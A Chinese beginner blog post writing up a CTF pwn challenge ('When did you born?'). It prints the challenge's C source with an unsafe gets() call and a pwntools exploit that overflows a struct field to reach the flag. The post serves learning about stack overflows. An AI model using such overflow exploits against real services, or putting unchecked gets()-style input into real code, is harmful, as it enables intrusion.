# Nepire的pwn入门学习之旅——（一）

原创

Nepire 于 2018-02-03 00:12:53 发布 1975 收藏 2

分类专栏： pwn 文章标签： CTF pwn 题解 WriteUp





**欢迎大家来到Nepire的pwn入门，本系列主要是通过CTF中pwn题的各种类型的解题过程来学习pwn相关的知识，让我们在pwn的世界沦陷吧呜喵~**

> **这次我要讲的是南邮CTF里的pwn50—When did you born？这是我最初做出来的几题pwn之一，算是很基础的pwn题，，所以让我们从这题开始入门吧~**

## 题目

> nc ctf.acdxvfsvd.net 1926
> Try not to be naive
> https://cgctf.nuptsast.com/challenges#Pwn

## WriteUp

连上去发现是让我们输入Your Birth，膜法师们自然就肯定要输入一波1926，然后得到

```
root@kali:~# nc ctf.acdxvfsvd.net 1926
What's Your Birth?
1926
You Cannot Born In 1926!
```



这时就知道了，这里肯定有点东西。

打开test.c文件查看源码，

```c
#include <stdio.h>
struct Student {
    char name[8];
    int birth;
};
int main(void) {
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    struct Student student;
    printf("What\'s Your Birth?\n");
    scanf("%d", &student.birth);
    while (getchar() != '\n') ;
    if (student.birth == 1926) {
        printf("You Cannot Born In 1926!\n");
        return 0;
    }
    printf("What\'s Your Name?\n");
    gets(student.name);
    printf("You Are Born In %d\n", student.birth);
    if (student.birth == 1926) {
        printf("You Shall Have Flag.\n");
        system("cat flag");
    } else {
        printf("You Are Naive.\n");
        printf("You Speed One Second Here.\n");
    }
    return 0;
}
```



发现得到flag的条件是student.birth=1926，而14行的if语句要求birth!=1926才可继续执行，这时我们在19行找到了gets，我们便可以通过栈溢出来覆盖birth的值，于是我们编译test.c后丢进ida找name和birth的偏移量

```
int v4; // [sp+14h] [bp-Ch]@5
int v5; // [sp+1Ch] [bp-4h]@1

__main();
setbuf((FILE *)__iob[0]._ptr, 0);
setbuf((FILE *)__iob[0]._ptr + 1, 0);
setbuf((FILE *)__iob[0]._ptr + 2, 0);
puts("What's Your Birth?");
scanf("%d", &v5);
while ( getchar() != 10 )
  ;
if ( v5 == 1926 )
{
  puts("What's Your Name?");
  gets((char *)&v4);
  printf("You Are Born In %d\n", v5);
```

> 这时我们可以算出差值为8，这时我们就可以开始构造exp

## Nep_exp

```
from pwn import  *
n = remote("ctf.acdxvfsvd.net",1926)
payload = 'a'*8 + p32(1926)
n.recvuntil("What\'s Your Birth?\n")
n.sendline("2333")
n.recvuntil("What\'s Your Name?\n")
n.sendline(payload)
n.interactive()
```

完成，发送查看结果

```
You Are Born In 1926
You Shall Have Flag.
flag{gets_is_dangerous_+1s}
[*] Got EOF while reading in interactive
```

## get flag~

> 这里是，一个在学习pwn的路上不断翻滚的萌新 如果文章有什么错误的，欢迎各位dalao在下面评论回复。

————Nepire